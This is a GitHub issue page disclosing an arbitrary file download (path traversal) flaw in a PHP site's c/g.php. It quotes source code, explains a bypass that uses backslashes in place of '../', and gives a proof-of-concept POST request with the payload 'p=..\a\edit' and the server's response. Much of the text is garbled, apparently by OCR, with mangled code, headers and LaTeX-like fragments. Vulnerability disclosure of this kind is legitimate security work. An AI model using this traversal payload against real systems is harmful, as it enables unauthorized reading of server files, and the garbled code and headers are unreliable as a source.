Jump to bottom New issue

\c\g.php has an arbitrary file download vulnerability #6

⊙ Closed ddddbhm opened this issue on Dec 19, 2020 · 1 comment

```
ddddbhm commented on Dec 19, 2020
If you don't think it's important, you can ignore me.
                                                                                                                              if (file exists( filename: './../t/' . $page . '.php') || stripos($page, needle: 'tag') !== false) {
                                                                                                                              $\frac{\text{ \ sequest = explode( \ delimiter: '/', \ \ \ page);}}
van \ dump(\text{\ sequest[0]);}
                                                                                                                                             $c = replace($c, tp: 'rano');
$c = preg_replace( pattern: "/\t|\[name\]/", name(), $c); /*替换小站名*/
$c = preg_replace( pattern: "/\t|\[intro\]/", intro(), $c); /*替换小站描述*/
$c = preg_replace( pattern: "/\t|\[intro\]/", date( format: 'Y'), $c); /*替换小站年份*/.
$c = preg_replace( pattern: "/\t|\[avatar\]/", avatar(), $c); /*替换小站许像*/
$c = preg_replace( pattern: "/\t|\[host\]/", host(), $c); /*替换小站链接*/
$c = replace($c, tp: 'file');
if ($page == 'm') { /*生成文章列表*/
$noststr = '''
                                                                                                                                          $c = file_get_contents( filename:
 As you can see, we need to go through two levels to get to the castle.
 These data are not filtered.
We need to bypass the logic here. What should we do?
                                                                                                                                     74
            Yes, we just need to replace '...' with '...\'
 POC:
POST /c/g.php?tvpe=getpage
data: mode=normal&p=..\a\edit
FOST /c/e_php?type=getpage HITF/1.1
Host: www.dmsj.com:0001
User-Agent: Komila/S.0 (Yindows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html.application/shtml*raml.application/smi.q=0.9, immge/webp.*/*e_q=0.8
Accept-Language: chr/C.M.h.q-0.8, a.hrHv.q=0.7, zhHW.q=0.5, en-US;q=0.3, en;q=0.2
Accept-Encoding: zgip, deflate
Commettion: Comme
                                                                                                                                                                                                                                                                                                                                                                                                                                                      HITP/1.1 200 OK
Date: Sat. 19 Dec 2020 14:35:28 GMT
Server: Apache2.4.39 (Which OpenSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Poweed-By: FRP/5.5.9
Expires: Thn. 19 Nev 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/som.charset=utf-8
Content-Type: text/som.charset=utf-8
Content-Type: text/som.charset=utf-8
                                                                                                                                                                                                                                                                                                                                                                                                                                                     $\text{content-tength: 7448}$
$\text{string(9)} \tilde{\text{...}} \tilde{\text{string(8)}} \tilde{\text{...}} \tilde{\text{..
 Content-Type: application/x-www-form-urlencoded
Content-Length: 23
 mode=normal&p=..\a\edit
```

thx!

SomeBottle closed this as completed on May 30, 2021

Assignees
No one assigned

Labels
None yet

Projects
None yet

Milestone
No milestone
Development
No branches or pull requests

2 participants

